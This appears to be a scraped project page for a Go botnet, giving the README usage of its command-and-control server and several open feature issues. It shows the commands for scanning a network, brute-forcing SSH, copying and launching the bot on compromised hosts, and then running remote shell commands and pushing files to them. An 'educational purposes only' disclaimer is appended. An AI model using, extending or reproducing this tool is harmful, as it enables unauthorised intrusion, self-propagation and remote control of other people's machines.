Giter Club home page Giter Club logo

botnet's Introduction

Go Botnet

Simple botnet written in GO. It features a command and control over cli and a botnet payload that communicates to the C&C over tcp.

Usage:

Compile from the botnet/cmd/botnet directory.

  • Run the C&C:
botnet listen

This starts up a C&C that listens on default port 9999.

  • Attack a machine to get the botnet on the machine. The only supported attack right now is brute forcing SSH
botnet -ufile /paht/to/usernames/file -pfile /path/to/passwords/file -bindir /path/to/botnet/bin/dir attack ssh

This will scan all the ips on the network find which ips have port 22 open and attempt to brute force its way in. Once it has access it will SCP the botnet binary over and execute the botnet client to connect to our command and control center

  • Connect a payload to the C&C:
botnet -target 192.168.2.2 -port 9999 connect

This will start a botnet payload that connects to the C&C on port 9999.

  • Now that we have a payload connected to our C&C we can run a view commands. You'll see the C&C prompt <CC:#>

show all payloads connected to C&C:

<CC:#> show

This will return the payload ids and addresses

ID: 0 Address: 127.0.0.1:64635
ID: 1 Address: 127.0.0.1:64634
  • To communicate with the payload use the use command followed by the payloads id:
<CC:#> use 0

You will notice now your prompt is changed to <PL:#>

  • Execute a command in the remote server just type in a command:
<PL:#> ls -l

This will return the directory where the payload is running

  • Send a file to the payload:
<PL:#> u: /path/to/file

This will send the specified file to the payload

  • Exit out of the payload and go back to the main C&C
<PL:#> exit

You should see a message saying payload exiting and the prompt should be back to <CC#>

#Terms of Use

  • Do NOT use this on any computer you do not own, or are not allowed to run this on.
  • You may NEVER attempt to sell this, its free and open source.
  • The authors and publishers assume no responsibility.
  • For educational purposes only.

botnet's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

botnet's Issues

pass in config for attacks

attacks configuration are growing rapidly and passing in 5 flags each time is annoying so just pass in one flag that points to a config.yaml file

cc and payload communication is buggy

I think this is because of the "health check" I added the cc buffer fills up with health check communication. Maybe I can make the health checks run on a separate port.

clean up ssh attack

specially the BruteForce func which is doing a lot more than brute forcing. Maybe add a config file to manage what to do once the brute force succeeds

Add authentication

have some sort of authentication for communication with the botnet clients. Could. R session or request based

silent reconnect

allow for a client to silently reconnect to the C&C even if inactive or server was shut down

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.